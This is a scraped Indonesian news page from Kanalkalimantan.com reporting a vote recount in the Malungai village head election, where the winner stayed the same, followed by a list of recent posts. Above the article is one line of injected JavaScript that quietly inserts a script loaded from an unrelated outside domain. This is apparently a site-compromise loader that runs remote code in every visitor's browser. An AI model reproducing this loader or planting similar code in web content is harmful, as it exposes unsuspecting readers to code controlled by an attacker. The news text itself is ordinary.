(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Hasil Pilkades Desa Malungai Dihitung Ulang


BUNTOK, Terkait gugatan hasil Pemilihan Kades (Pilkades) di desa Malungai terjadi selisih suara di bawah 2%, sesuai peraturan harus dilakukan penghitungan ulang suara.

Plt Kepala Dinas Sosial Pemberdayaan Masyarakat Desa (DSPMD) Barsel Ahkmad Haitami mengatakan, menyikapi hasil gugatan laporan terkait hasil Pilkades serentak 3 Oktober lalu, termasuk di desa Malungai, maka hari ini dilakukan penghitungan ulang dengan membuka kotak suara hasil Pilkades desa Malungai.

“Jadi kita selaku panitia penyelenggara bersama Panwas kabupaten, kecamatan, panitia desa dan para penggugat, bersama-sama melakukan penghitungan ulang hasil suara Pilkades desa Malungai,” kata Haitami kepada Kanalkalimantan.com, Rabu (30/10).

Ia mengungkapkan, walaupun sebenarnya pihak pelapor ingin melakukan pembatalan, namun berdasarkan aturan yang tidak adanya pembatalan atau PSU dan hanya ada penghitungan ulang untuk hasil selisih di bawah 2%.

“Oleh karena itu kita hanya bisa memfasilitasi dengan melakukan penghitungan ulang hasil suara yang dilaksanakan hari ini di aula kantor DPSMD Barsel,” ucap Haitami.

Terkait hasil penghitungan ulang, hanya ada selisih 1 suara, yakni peserta nomor 1 berkurang 1 dan peserta nomor 3 berkurang 1 dan nomor 2. Namun untuk hasilnya tetap tidak merubah hasil pada Pilkades buntuk pemenang masih tetap peserta nomor 3.

“Jadi walaupun ada perubahan selisih 1 suara hari ini, hasilnya tidak merubah ketetapan beberapa waktu lalu untuk pemenang tetap peserta nomor 3,” beber Haitami.

Ditambahkannya, untuk ketetapan hasil hari ini puas tidak puas untuk para pelapor tidak bisa diganggu gugat lagi, bila memang tidak menerima silahkan untuk melanjutkan ke PTUN. Sementara ia juga menghimbau untuk masyarakat desa Malungai, kiranya bisa menjaga kondusifitas terkait apapun hasil Pilkades, semua kembali satu tujuan siapapun pemimpin desa tentu untuk membangun lebih baik.

“Jadi hasil ini ketetapannya sudah tidak bisa digangu gugat lagi dan untuk masyarakat desa Malungai, marilah bersama-sama dukung dan kawal pemimpin desa yang baru untuk membangun desa Malungai lebih baik lagi,” pungkas Haitami. (digdo)

Reporter : Digdo
Editor : Bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.